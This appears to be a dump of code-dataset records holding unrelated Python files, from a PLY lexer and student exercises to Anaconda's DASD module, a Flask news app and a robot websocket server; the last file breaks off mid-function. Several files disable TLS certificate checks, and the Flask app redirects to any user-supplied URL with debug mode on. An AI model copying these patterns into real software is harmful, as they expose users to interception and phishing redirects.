+{"seq_id":"493503279","text":"# Group 5\n# Philip Wipf\n# Evgenia Kolotiouk\n# Lei Xiong\n# CSCI 468\n# 10 Feb 2016\n# Scanner for Project Step 1\n\n\nfrom __future__ import print_function # use python 3 style print statements\nimport sys\nfrom ply import *\n\nliterals = ['+','-','*','/','(',')',';',',','=','<','>']\n\nduals = (\n 'ASSIGN',\n 'NOT_EQUAL',\n 'LESS_EQUAL',\n 'GREATER_EQUAL',\n )\n\nkeywords = ( # this list allows identifiers to be flagged as keywords if in this list\n 'PROGRAM',\n 'BEGIN',\n 'END',\n 'FUNCTION',\n 'READ',\n 'WRITE',\n 'IF',\n 'ELSE',\n 'ENDIF',\n 'WHILE',\n 'ENDWHILE',\n 'RETURN',\n 'INT',\n 'VOID',\n 'STRING',\n 'FLOAT',\n )\n \ntokens = keywords + duals + ( # tokens list, every token returned MUST end up with a type in this list\n 'IDENTIFIER',\n 'INTLITERAL',\n 'FLOATLITERAL',\n 'STRINGLITERAL',\n )\n \nt_ignore = ' \\t' # ignore and skip over spaces and tabs (special variable name)\n \nt_ASSIGN = r':='\nt_NOT_EQUAL = r'!='\nt_LESS_EQUAL = r'<='\nt_GREATER_EQUAL = r'>='\n\ndef t_COMMENT(t): # COMMENT must be before OPERATOR or the dashes will be seen as -\n r'--.*' # note: . matches any char EXCEPT \\n\n pass\n\n#def t_OPERATOR(t): # alternations in proper order to match < only if not <=\n# r':=|\\+|-|\\*|/|!=|\\(|\\)|;|,|<=|>=|=|<|>'\n# return t\n\ndef t_FLOATLITERAL(t): # FLOAT must be before INT or 1.4 will be seen as 1, 0.4\n r'(\\d+\\.\\d*|\\d*\\.\\d+)' # allow xx. OR .xx NOT .\n t.value=float(t.value)\n return t\n \ndef t_INTLITERAL(t):\n r'\\d+'\n t.value=int(t.value)\n return t\n \ndef t_STRINGLITERAL(t):\n r'\".*?\"' # need greedy (?) modifier on * to disallow \"str\"ing\"\n return t\n \ndef t_IDENTIFIER(t): # keywords match here also so check if the identifier is in\n r'[a-zA-Z][a-zA-Z0-9]*' # the keyword list\n if t.value in keywords:\n t.type=t.value\n return t\n \ndef t_newline(t): # need to match newlines, in theory they could probably be ignored,\n r'\\n|\\r\\n' # but this function allows keeping track of line numbers.\n t.lexer.lineno+=1 # note nothing returned. (arbitrary function name)\n \ndef t_error(t): # anything not matched so far is an error (special function name)\n print(\"Illegal character '%s'\" % t.value[0])\n t.lexer.skip(1)\n\nlex.lex()\n\ntry: # attempt to open file, read it in, build lexer, feed it data,\n f=open(sys.argv[1],'r') # and iterate through resulting token list\nexcept IndexError:\n print (\"missing input file\", file=sys.stderr) # output to terminal even if STDOUT is redirected\nexcept IOError:\n print (\"cannot open\", sys.argv[1], file=sys.stderr)\nelse:\n data=f.read()\n f.close()\n\n lexer = lex.lex() \n lexer.input(data)\n\n# for token in lexer:\n# print (\"Token Type:\", token.type)\n# print (\"Value:\", token.value)\n","sub_path":"scanner.py","file_name":"scanner.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"401014817","text":"# tn2690\n# 1/15/19\n\n# full time tuiton = 8000 / semester\n# increase by 3% each year for next 5 years\n\nfullTimeTuition = 8000\ntimes = 0\n\n# loop until years = 5\nfor times in range(1, 6):\n# increase by 0.03\n adjustedTuition = fullTimeTuition * 0.03\n fullTimeTuition = fullTimeTuition + adjustedTuition\n print(\"Tuition after\", times, end = \"\")\n print(\" yrs: $\", format(fullTimeTuition, '.2f'), sep = \"\")\n","sub_path":"tuition.py","file_name":"tuition.py","file_ext":"py","file_size_in_byte":412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"266793718","text":"# ex18_5.py\nfrom tkinter import *\ndef printSelection():\n x.set(cities[var.get()]) # 列出所選城市\n\nwindow = Tk()\nwindow.title(\"ex18_5\") # 視窗標題\ncities = {0:\"東京\",1:\"紐約\",2:\"巴黎\",3:\"倫敦\",4:\"香港\"}\n\nvar = IntVar()\nvar.set(0) # 預設選項 \nlabel = Label(window,text=\"選擇最喜歡的城市\",\n fg=\"blue\",bg=\"lightyellow\",width=30)\nlabel.pack()\n\nfor val, city in cities.items(): # 建立選項紐 \n Radiobutton(window,\n text=city,\n variable=var,value=val,\n command=printSelection).pack()\n \nx = StringVar()\ndisplay = Label(window,textvariable=x, bg=\"lightgreen\",width=30)\ndisplay.pack()\n\nwindow.mainloop()\n\n\n\n\n\n\n","sub_path":"04_The_Path_of_Python/T-resource_Python_201904/ex/ex18_5.py","file_name":"ex18_5.py","file_ext":"py","file_size_in_byte":794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"159441966","text":"# 2. Write a program to construct a dictionary from the two lists containing the names of students and\n# their corresponding subjects. The dictionary should map the students with their respective subjects.\n# Let’s see how to do this using for loops and dictionary comprehension.\n# HINT - Use Zip function also\n# Sample input: students = ['Smit', 'Jaya', 'Rayyan'] subjects = ['CSE', 'Networking', 'Operating System']\n# Expected output: {‘Smit’ : ’CSE’ , ’Jaya’ : ’Networking’ , ’Rayyan’ : ’Operating System’}\n\n\n# using zip function\nstudents =['Smit', 'Jaya', 'Rayyan']\nsubjects=['CSE', 'Networking', 'Operating System']\nprint(dict(zip(students,subjects)))\n\n# using loop\n\nres = {}\nfor keys in students:\n for value in subjects:\n res[keys] = value\n subjects.remove(value)\n break\nprint(\"resultant dictionary:\"+str(res))\n\n# using list comprehension\nstudents =['Smit', 'Jaya', 'Rayyan']\nsubjects=['CSE', 'Networking', 'Operating System']\n\ndata_dict = {key:value for (key,value) in zip(students,subjects)}\nprint(\"resultant dictionary:\" + str(data_dict))\n","sub_path":"task6/task6.2.py","file_name":"task6.2.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"567545060","text":"def add_workbook(container_id=None, workbook=None, **kwargs):\n \"\"\"\n Function to add a workbook to a container. Provide a container id and a workbook name or id\n \n Args:\n container_id (CEF type: phantom container id): A phantom container id\n workbook (CEF type: *): A workbook name or id\n \n Returns a JSON-serializable object that implements the configured data paths:\n \n \"\"\"\n ############################ Custom Code Goes Below This Line #################################\n import json\n import phantom.rules as phantom\n \n outputs = {}\n if isinstance(workbook,int):\n phantom.debug(phantom.add_workbook(container=container_id, workbook_id=workbook))\n \n elif isinstance(workbook, basestring):\n url = phantom.build_phantom_rest_url('workbook_template') + '?_filter_name=\"{}\"'.format(workbook)\n phantom.debug(url)\n response = phantom.requests.get(url, verify=False).json()\n if response['count'] > 1:\n phantom.debug('Unable to add workbook - more than one ID matches workbook name')\n elif response['data'][0]['id']:\n workbook_id = response['data'][0]['id']\n phantom.debug(phantom.add_workbook(container=container_id, workbook_id=workbook_id))\n \n \n # Write your custom code here...\n \n # Return a JSON-serializable object\n assert json.dumps(outputs) # Will raise an exception if the :outputs: object is not JSON-serializable\n return outputs\n","sub_path":"custom_functions/add_workbook.py","file_name":"add_workbook.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"217225499","text":"class ErrorCheck:\n def check_money(self, money):\n if money == \"YES\" or money == \"NO\":\n return True\n\n return False\n\n def check_amount(self, amount):\n for i in range(len(amount)):\n if 48 <= ord(amount[i]) <= 57:\n continue\n\n else:\n return False\n\n return True\n\n def check_car(self, count):\n if count == \"YES\" or count == \"NO\":\n return True\n\n return False\n\n def check_start(self, start):\n start = start.split()\n if len(start) != 2 or start[0] != \"create_parking_lot\":\n return False\n\n for i in range(len(start[1])):\n if i == 0 and 49 <= ord(start[1][i]) <= 57:\n continue\n\n elif 48 <= ord(start[1][i]) <= 57:\n continue\n\n else:\n return False\n\n start[1] = int(start[1])\n\n if start[1] == 0:\n return False\n\n return start[1]\n\n def check_leave(self, leave, spots):\n if leave[0] != \"leave\" or len(leave) != 2:\n return False\n\n for i in range(len(leave[1])):\n if i == 0 and 49 <= ord(leave[1][0]) <= 57:\n continue\n\n elif 48 <= ord(leave[1][i]) <= 57 and i != 0:\n continue\n\n else:\n return False\n\n slot = int(leave[1])\n if slot > len(spots):\n return False\n\n elif spots[slot - 1] is False:\n return str(slot)\n\n else:\n return slot\n","sub_path":"error_check.py","file_name":"error_check.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"88468010","text":"#\n# dasd.py - DASD class\n#\n# Copyright (C) 2009, 2010 Red Hat, Inc. All rights reserved.\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n#\n# Red Hat Author(s): David Cantrell \n#\n\nimport iutil\nimport isys\nimport sys\nimport os\nfrom storage.errors import DasdFormatError\nfrom storage.devices import deviceNameToDiskByPath\nfrom constants import *\nfrom flags import flags\nfrom baseudev import udev_trigger\n\nimport logging\nlog = logging.getLogger(\"anaconda\")\n\nimport gettext\n_ = lambda x: gettext.ldgettext(\"anaconda\", x)\nP_ = lambda x, y, z: gettext.ldngettext(\"anaconda\", x, y, z)\n\nclass DASD:\n \"\"\" Controlling class for DASD interaction before the storage code in\n anaconda has initialized.\n\n The DASD class can determine if any DASD devices on the system are\n unformatted and can perform a dasdfmt on them.\n \"\"\"\n\n def __init__(self):\n self._dasdlist = []\n self._ldldasdlist = []\n self._devices = [] # list of DASDDevice objects\n self.totalCylinders = 0\n self._completedCylinders = 0.0\n self._maxFormatJobs = 0\n self.dasdfmt = \"/sbin/dasdfmt\"\n self.commonArgv = [\"-y\", \"-d\", \"cdl\", \"-b\", \"4096\"]\n self.started = False\n\n def __call__(self):\n return self\n\n def startup(self, intf, exclusiveDisks, zeroMbr, cdl):\n \"\"\" Look for any unformatted DASDs in the system and offer the user\n the option for format them with dasdfmt or exit the installer.\n\n Also check if any DASDs are LDL formatted and show a warning to\n users, since these disks will not be usable during installation.\n \"\"\"\n if self.started:\n return\n\n self.started = True\n\n if not iutil.isS390():\n return\n\n # Trigger udev data about the dasd devices on the system\n udev_trigger(action=\"change\", name=\"dasd*\")\n\n log.info(\"Checking for unformatted and LDL DASD devices:\")\n\n for device in os.listdir(\"/sys/block\"):\n if not device.startswith(\"dasd\"):\n continue\n\n statusfile = \"/sys/block/%s/device/status\" % (device,)\n if not os.path.isfile(statusfile):\n continue\n\n f = open(statusfile, \"r\")\n status = f.read().strip()\n f.close()\n\n bypath = deviceNameToDiskByPath(device)\n if not bypath:\n bypath = \"/dev/\" + device\n\n if status in [\"unformatted\"] and device not in exclusiveDisks:\n log.info(\" %s (%s) status is %s, needs dasdfmt\" % (device,\n bypath,\n status,))\n self._dasdlist.append((device, bypath))\n\n elif isys.isLdlDasd(device):\n log.info(\" %s (%s) is an LDL DASD, needs dasdfmt\" % (device,\n bypath))\n self._ldldasdlist.append((device, bypath))\n\n if not intf and (not zeroMbr or not cdl):\n log.info(\" non-interactive kickstart install without zerombr \"\n \"or clearpart --cdl \"\n \"command, unable to run dasdfmt, exiting installer\")\n sys.exit(0)\n\n # now onto formatting our DASDs\n if not len(self._dasdlist):\n log.info(\" no unformatted DASD devices found\")\n else:\n self.format_dasds(intf, not zeroMbr, self._dasdlist)\n\n if not len(self._ldldasdlist):\n log.info(\" no LDL DASD devices found\")\n else:\n self.format_dasds(intf, not cdl, self._ldldasdlist)\n\n def format_dasds(self, intf, askUser, dasdlist):\n \"\"\" Iterate through a given list of DASDs and run dasdfmt on them. \"\"\"\n out = \"/dev/tty5\"\n err = \"/dev/tty5\"\n\n c = len(dasdlist)\n\n if intf and askUser:\n devs = ''\n for dasd, bypath in dasdlist:\n devs += \"%s\\n\" % (bypath,)\n\n rc = intf.questionInitializeDASD(c, devs)\n if rc == 1:\n log.info(\" not running dasdfmt, continuing installation\")\n return\n\n # gather total cylinder count\n argv = [\"-t\", \"-v\"] + self.commonArgv\n for dasd, bypath in dasdlist:\n buf = iutil.execWithCapture(self.dasdfmt, argv + [\"/dev/\" + dasd],\n stderr=err)\n for line in buf.splitlines():\n if line.startswith(\"Drive Geometry: \"):\n # line will look like this:\n # Drive Geometry: 3339 Cylinders * 15 Heads = 50085 Tracks\n cyls = long(filter(lambda s: s, line.split(' '))[2])\n self.totalCylinders += cyls\n break\n\n # format DASDs\n argv = [\"-P\"] + self.commonArgv\n update = self._updateProgressWindow\n\n title = P_(\"Formatting DASD Device\", \"Formatting DASD Devices\", c)\n msg = P_(\"Preparing %d DASD device for use with Linux...\" % c,\n \"Preparing %d DASD devices for use with Linux...\" % c, c)\n\n if intf:\n if self.totalCylinders:\n pw = intf.progressWindow(title, msg, 1.0)\n else:\n pw = intf.progressWindow(title, msg, 100, pulse=True)\n\n for dasd, bypath in dasdlist:\n log.info(\"Running dasdfmt on %s\" % (bypath,))\n arglist = argv + [\"/dev/\" + dasd]\n\n try:\n if intf and self.totalCylinders:\n rc = iutil.execWithCallback(self.dasdfmt, arglist,\n stdout=out, stderr=err,\n callback=update,\n callback_data=pw,\n echo=False)\n elif intf:\n rc = iutil.execWithPulseProgress(self.dasdfmt, arglist,\n stdout=out, stderr=err,\n progress=pw)\n else:\n rc = iutil.execWithRedirect(self.dasdfmt, arglist,\n stdout=out, stderr=err)\n except Exception as e:\n raise DasdFormatError(e, bypath)\n\n if rc:\n raise DasdFormatError(\"dasdfmt failed: %s\" % rc, bypath)\n\n if intf:\n pw.pop()\n\n def addDASD(self, dasd):\n \"\"\" Adds a DASDDevice to the internal list of DASDs. \"\"\"\n if dasd:\n self._devices.append(dasd)\n\n def clear_device_list(self):\n \"\"\" Clear the device list to force re-populate on next access. \"\"\"\n self._devices = []\n\n def write(self, instPath):\n \"\"\" Write /etc/dasd.conf to target system for all DASD devices\n configured during installation.\n \"\"\"\n if self._devices == []:\n return\n\n f = open(os.path.realpath(instPath + \"/etc/dasd.conf\"), \"w\")\n for dasd in self._devices:\n fields = [dasd.busid] + dasd.getOpts()\n f.write(\"%s\\n\" % (\" \".join(fields),))\n f.close()\n\n def _updateProgressWindow(self, data, callback_data=None):\n \"\"\" Reads progress output from dasdfmt and collects the number of\n cylinders completed so the progress window can update.\n \"\"\"\n if not callback_data:\n return\n\n if data == '\\n':\n # each newline we see in this output means one more cylinder done\n self._completedCylinders += 1.0\n callback_data.set(self._completedCylinders / self.totalCylinders)\n\n# Create DASD singleton\nDASD = DASD()\n\n# vim:tw=78:ts=4:et:sw=4\n","sub_path":"storage/dasd.py","file_name":"dasd.py","file_ext":"py","file_size_in_byte":8476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"387763831","text":"import codecs\r\nimport jieba\r\n\r\n\r\nclass ReadFile(object):\r\n def __init__(self, directory):\r\n self.directory = directory\r\n\r\n def FileListInDirectory(self):\r\n import os\r\n filesInDirectory = os.listdir(self.directory)\r\n fileList = []\r\n for eachFile in filesInDirectory:\r\n child = os.path.join('%s%s' % (self.directory+\"\\\\\", eachFile))\r\n fileList.append(child)\r\n return fileList\r\n\r\nclass GetSimilarWords(object):\r\n def __init__(self, sourceFilename=None, resultFilename=None):\r\n self.sourceFilename = sourceFilename\r\n self.resultFilename = resultFilename\r\n\r\n def splitWord(self):\r\n\r\n fread = codecs.open(self.sourceFilename, encoding=\"GBK\", errors=\"ignore\")\r\n fwrite = codecs.open(self.resultFilename, 'a', encoding=\"utf-8\")\r\n\r\n lines = fread.readlines()\r\n for line in lines:\r\n line.replace('\\t', '').replace('\\n', '').replace(' ', '')\r\n seg_list = jieba.cut(line, cut_all=False)\r\n fwrite.write(\" \".join(seg_list))\r\n\r\n fread.close()\r\n fwrite.close()\r\n\r\n def train(self):\r\n from gensim.models import word2vec\r\n\r\n sentences = word2vec.Text8Corpus(u\"result.txt\")\r\n model = word2vec.Word2Vec(sentences, size=200)\r\n print(model)\r\n return model\r\n\r\n def SimilarBetweenWords(self, model, vocab1, vocab2):\r\n try:\r\n y1 = model.similarity(vocab1, vocab2)\r\n except KeyError:\r\n y1 = 0\r\n print(\"the similarity between vocab1 and vocab2 is:\", y1)\r\n\r\n def SimilarWordList(self, model, vocab):\r\n list = model.most_similar(vocab, topn=5)\r\n print(\"Similar Word List to Vocab is:\")\r\n for item in list:\r\n print(item[0], item[1])\r\n\r\n def ModelSave(self, model):\r\n model.save(\"wordVectorModel.model\")\r\n\r\n def ModelLoad(self, modelname):\r\n from gensim.models import word2vec\r\n model = word2vec.Word2Vec.load(modelname)\r\n return model\r\n\r\n def clusterUsingWord2Vec(self, model):\r\n import numpy as np\r\n from sklearn.cluster import MiniBatchKMeans\r\n from sklearn.cluster import AgglomerativeClustering\r\n word2vec_dict = {}\r\n for i in model.wv.vocab.keys():\r\n try:\r\n word2vec_dict[i] = model[i]\r\n except:\r\n pass\r\n\r\n clusters = MiniBatchKMeans(n_clusters=1000, max_iter=100, batch_size=100, n_init=3, init_size=2000)\r\n X = np.array([v.T for _, v in word2vec_dict.items()])\r\n y = [k for k, _ in word2vec_dict.items()]\r\n clusters.fit(X)\r\n from collections import defaultdict\r\n cluster_dict = defaultdict(list)\r\n for word, label in zip(y, clusters.labels_):\r\n cluster_dict[label].append(word)\r\n\r\n for i in range(len(cluster_dict)):\r\n print(cluster_dict[i])\r\n\r\n return cluster_dict\r\n\r\n def cos(self, vector1, vector2):\r\n dot_produce = 0.0\r\n normA = 0.0\r\n normB = 0.0\r\n for a, b in zip(vector1, vector2):\r\n dot_produce += a*b\r\n normA += a**2\r\n normB += b**2\r\n if normA == 0.0 or normB == 0.0:\r\n return None\r\n else:\r\n return dot_produce/((normB*normA)**0.5)\r\n\r\n def AccurateSimilarWords(self, cluster_dict, model):\r\n similarity = [[0 for i in range(200)] for i in range(200)]\r\n for i in range(len(cluster_dict)):\r\n ClusterWords = cluster_dict[i]\r\n for j in range(len(ClusterWords)):\r\n for k in range(j+1, len(ClusterWords)):\r\n similarity[j][k] = self.cos(model[ClusterWords[j]], model[ClusterWords[k]])\r\n print(ClusterWords[j], ClusterWords[k], similarity[j][k])\r\n\r\n\r\nif __name__ == \"__main__\":\r\n list1 = ReadFile(\"E:\\\\NLP Project\\\\untitled1\\C000008\").FileListInDirectory()\r\n getSimilarWords = GetSimilarWords()\r\n for _ in list1:\r\n GetSimilarWords(_, \"result.txt\").splitWord()\r\n model = getSimilarWords.train()\r\n getSimilarWords.SimilarBetweenWords(model, \"公司\", \"企业\")\r\n getSimilarWords.SimilarWordList(model, \"公司\")\r\n getSimilarWords.ModelSave(model)\r\n print(model[u\"公司\"])\r\n cluster_result = getSimilarWords.clusterUsingWord2Vec(model)\r\n getSimilarWords.AccurateSimilarWords(cluster_result, model)","sub_path":"GetSimilarWords.py","file_name":"GetSimilarWords.py","file_ext":"py","file_size_in_byte":4393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"443227841","text":"import os\n\narquivos_com_pdf = os.listdir('teores_pdf_e_temas')\n\nwith open('emendas_tab.tsv', 'r') as arquivo:\n\t\tlinhas = arquivo.readlines()\n\nfor linha in linhas[1:]:\n\ttry:\n\t\tcampos = linha.split('\\t') #separa em campos\n\t\n\n\t\tnome_arquivo = campos[2] #para salvar o teor da emenda\n\t\tassunto = campos[12]\n\n\n\t\tnome_arquivo = nome_arquivo.replace('/', '___').replace(' ', '_')\n\t\tnome_arquivo += '.pdf'\n\n\t\tif nome_arquivo in arquivos_com_pdf:\n\t\t\tos.rename('teores_pdf_e_temas/' + nome_arquivo, 'teores_pdf_e_temas/setor_' + assunto + \"_\" + nome_arquivo)\n\n\texcept:\n\t\tpass\n\n\n\narquivos_com_pdf = os.listdir('teores_pdf_e_temas')\n\nprint(len(arquivos_com_pdf))\n#exit(0)\nfor arquivo in arquivos_com_pdf:\n\tif 'setor' not in arquivo:\n\t\tos.remove('teores_pdf_e_temas/' + arquivo)\n","sub_path":"crawler/crawler_xlsx_30mil/adiciona_tema.py","file_name":"adiciona_tema.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"415634415","text":"from flask import Flask, render_template,request,url_for\nfrom flask_sqlalchemy import SQLAlchemy\nimport sqlalchemy\nfrom werkzeug.utils import redirect, send_file\nimport weather\nimport news\nfrom datetime import datetime\n\napp=Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI']=\"sqlite:///mydb.db\"\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS']=False\ndb=SQLAlchemy(app)\n\nclass Datas(db.Model):\n sno=db.Column(db.Integer, primary_key=True)\n title=db.Column(db.String(200),nullable=False)\n date=db.Column(db.DateTime, default=datetime.now)\n\n def __repr__(self) -> str:\n return f\"{self.sno} - {self.title}\"\n\n\n@app.route('/detail/',methods=['GET','POST'])\ndef detail(data):\n print(\"The data returned from the link of the url is:\",data)\n return redirect(data)\n\n@app.route('/', methods=['GET','POST'])\ndef helloworld():\n lnews=[]\n weatherdesc=[]\n city=''\n \n if request.method=='POST':\n city=request.form['newcity']\n weatherdesc=weather.weath(city)\n category=request.form['radioval']\n #print(\"The category of the news is: \",category)\n tnews=news.thenews('India',category)\n lnews=[[article['title'],article['content'] ,article['url']] for article in tnews]\n\n #ldesc=[article['title'] for article in desc]\n #print(lnews,desc)\n\n return render_template('index.html',city=city,lnews=lnews,weatherdesc=weatherdesc)\n\n\n \n\n\n\n\n\n \"\"\" datas=Datas(title=\"datas\")\n db.session.add(datas)\n\n db.session.commit() \"\"\"\n\n\n\n \n@app.route('/piyush', methods=['GET','POST'])\ndef helloworld2():\n \"\"\"datas1=Datas(title=\"object1\")\n datas2=Datas(title=\"object2\")\n db.session.add(datas1)\n db.session.commit()\n db.session.add(datas2)\n db.session.commit() \n alldatas1=Datas.query.all()\n print(\"alldatas1:\",alldatas1)\n print(\"alldatas2:\",alldatas1) \"\"\"\n\n return 'Hello piyush!'\n\n \n\n\nif __name__==\"__main__\":\n app.run(debug=True)\n\n\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1956,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"463295870","text":"#!/usr/bin/env python3\nimport argparse\nimport asyncio\nimport json\nimport websockets\nimport ssl\nimport time\n\nimport pibot\n\nimport gi\ngi.require_version('Gst', '1.0')\nfrom gi.repository import Gst, GObject\n\n\nclass RobotCamera(object):\n COMMANDS = ['resolution', 'bitrate', 'look'] \n LOCALHOST = '127.0.0.1'\n\n CAPS = 'video/x-h264, width={width}, height={height}, framerate=(fraction)30/1, profile=(string)baseline'\n PIPELINE = '''\n v4l2src blocksize=400000 device=/dev/video0 extra-controls=\"c,rotate=0\" !\n {CAPS} !\n queue leaky=2 !\n h264parse !\n rtph264pay config-interval=1 pt=96 perfect-rtptime=true min-ptime=10 seqnum-offset=0 timestamp-offset=0 !\n udpsink host={LOCALHOST} port={video_rtp_port} buffer-size=32768 sync=false async=false\n alsasrc device=hw:{audio_in_device} buffer-time=40000 !\n queue leaky=2 !\n audioconvert !\n audio/x-raw, rate=48000, channels=2 !\n opusenc bitrate=128000 inband-fec=true frame-size=10 !\n opusparse !\n rtpopuspay pt=111 perfect-rtptime=true min-ptime=10 seqnum-offset=0 timestamp-offset=0 !\n udpsink host={LOCALHOST} port={audio_rtp_out_port} sync=false async=false\n udpsrc port={audio_rtp_in_port} !\n application/x-rtp,media=audio,payload=111,encoding-name=OPUS !\n queue leaky=2 !\n rtpopusdepay !\n opusparse !\n opusdec !\n alsasink buffer-time=40000 device=hw:{audio_out_device}\n '''\n\n def __init__(self, kwargs):\n Gst.init(None)\n GObject.threads_init()\n self.pipe = Gst.parse_launch(\n self.PIPELINE.format(**kwargs,\n CAPS=self.CAPS,\n LOCALHOST=self.LOCALHOST)\n .format(**kwargs)\n )\n r = self.pipe.set_state(Gst.State.PLAYING)\n if r != Gst.StateChangeReturn.SUCCESS:\n print('Paying the pipeline returned '+r.value_name)\n self.caps0 = self.pipe.get_by_name('capsfilter0')\n self.src0 = self.pipe.get_by_name('v4l2src0')\n if self.caps0 is None or self.src0 is None:\n print('Could not get self.caps0 or src0')\n\n def set_v4l_size(self, W, H):\n newcaps = Gst.Caps.from_string(self.CAPS.format(width=W, height=H))\n self.caps0.set_property('caps', newcaps)\n\n def set_v4l_bitrate(self, kb):\n self.src0.set_property('extra-controls',\n Gst.Structure.from_string('c,video_bitrate={}'.format(kb*1000))[0])\n\n def handle(self, cmd, obj):\n if cmd == 'resolution':\n self.set_v4l_size(obj['width'], obj['height'])\n elif cmd == 'bitrate':\n self.set_v4l_bitrate(obj['bitrate'])\n\n @property\n def commands(self):\n return self.COMMANDS\n\n\nclass RobotJoystick(object):\n COMMANDS = ['move', 'start', 'end', 'look']\n MINTIME = 0.1\n\n SERVO_H = 1\n SERVO_H_MAX = 170\n SERVO_H_MIN = 10\n \n SERVO_V = 2\n SERVO_V_MAX = 110\n SERVO_V_MIN = 20\n\n COMMAND_SERVO_PLAIN = {'h': SERVO_H, 'v': SERVO_V}\n\n def angle_to_t(a):\n tMin = 102.\n tMax = 511.\n t = (a/180.)*(tMax-tMin)+tMin\n return int(t*20000./4096.)\n\n def __init__(self):\n self.bot = pibot.PiBot()\n self.bot.InitMotorDriver(pibot.DRIVER_M_1_2)\n self.bot.Enable()\n self.bot.SetMotorDrive(pibot.M1, 0)\n self.bot.SetMotorDrive(pibot.M2, 0)\n self.servo_h = 90\n self.servo_v = 90\n self.bot.SetServoControl(self.SERVO_H, RobotJoystick.angle_to_t(self.servo_h))\n self.bot.SetServoControl(self.SERVO_V, RobotJoystick.angle_to_t(self.servo_v))\n\n def move(self, force, angle):\n if force > 1.0:\n force = 1.0\n if angle == 360:\n angle = 0\n\n m1 = force\n m2 = force - (force*2)*(angle%90)/90.\n if 0 <= angle < 90:\n M1 = m1\n M2 = m2\n elif 90 <= angle < 180:\n M1 = m2 \n M2 = -m1\n elif 180 <= angle < 270:\n M1 = -m1\n M2 = -m2\n elif 270 <= angle < 360:\n M1 = -m2\n M2 = m1\n\n M1 = round(M1*255)\n M2 = round(M2*255)\n print('{} {} -> {} {}'.format(force, angle, M1, M2))\n self.bot.SetMotorDrive(pibot.M1, M1)\n self.bot.SetMotorDrive(pibot.M2, M2)\n\n def look(self, plain, step):\n if plain=='v':\n self.servo_v = self.servo_v + step if self.SERVO_V_MIN <= self.servo_v+step <= self.SERVO_V_MAX else self.servo_v\n servo, angle = self.SERVO_V, self.servo_v \n elif plain=='h':\n self.servo_h = self.servo_h + step if self.SERVO_H_MIN <= self.servo_h+step <= self.SERVO_H_MAX else self.servo_h\n servo, angle = self.SERVO_H, self.servo_h\n \n print('look: {}={}'.format(plain, angle))\n self.bot.SetServoControl(servo, RobotJoystick.angle_to_t(angle))\n\n def handle(self, cmd, obj):\n if cmd == 'move': \n self.move(obj['force'], obj['angle']) \n elif cmd == 'end':\n self.move(0.0, 0.0)\n elif cmd == 'look':\n self.look(obj['plain'], obj['step'])\n\n @property\n def commands(self):\n return self.COMMANDS\n\n\nclass RobotWebsocketServer(object):\n JANUS = 'wss://localhost:{janus_ws_port}'\n CLOUD = 'wss://pi-gf.hldns.ru:{ws_port}/janus/pi/web/{id}'\n JOYSTICK = 'wss://localhost:{ws_port}/joystick/pi/web/{id}'\n\n def __init__(self, joystick, camera, kwargs):\n self.JANUS = self.JANUS.format(**kwargs)\n self.CLOUD = self.CLOUD.format(**kwargs)\n self.JOYSTICK = self.JOYSTICK.format(**kwargs)\n self.ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)\n self.ssl_context.load_cert_chain(kwargs['ssl_cert'], kwargs['ssl_key'])\n self.start_server = websockets.serve(\n self.handle_ws, '0.0.0.0', kwargs['local_ws_port'], ssl=self.ssl_context)\n self.joystick = joystick\n self.camera = camera\n\n self.client_ssl_context = ssl.SSLContext() #ssl.PROTOCOL_TLS_CLIENT)\n self.client_ssl_context.check_hostname = False\n self.client_ssl_context.verify_mode = ssl.CERT_NONE\n\n\n async def run(self):\n # FIXME: this causes \"Task was destroyed but it is pending!\"\n ws_twoway_task = asyncio.ensure_future(self.ws_2way(self.JANUS, self.CLOUD))\n ws_oneway_task = asyncio.ensure_future(self.ws_1way(self.JOYSTICK))\n done, pending = await asyncio.wait(\n [ws_twoway_task, ws_oneway_task],\n return_when=asyncio.FIRST_COMPLETED,\n )\n for task in pending:\n task.cancel()\n\n async def handle_ws(self, websocket, path):\n while True:\n msg = await websocket.recv()\n obj = json.loads(msg)\n cmd = obj['cmd']\n # print(\"< {}\".format(obj))\n if cmd == 'hello':\n print('client connected at '+path)\n elif self.joystick and cmd in self.joystick.commands:\n print('joystick: '+cmd)\n self.joystick.handle(cmd, obj)\n elif self.camera and cmd in self.camera.commands:\n print('camera: '+cmd)\n self.camera.handle(cmd, obj)\n\n async def ws_relay(self, ws_from, ws_to):\n try:\n while True:\n message = await ws_from.recv()\n print('>'+message)\n await ws_to.send(message)\n except:\n print('disconnected')\n\n async def ws_1way(self, cloud_addr):\n while True:\n try:\n async with websockets.connect(cloud_addr, ssl=self.client_ssl_context) as cloud_ws:\n print('1way: connected')\n await self.handle_ws(cloud_ws, cloud_addr)\n except Exception as e:\n 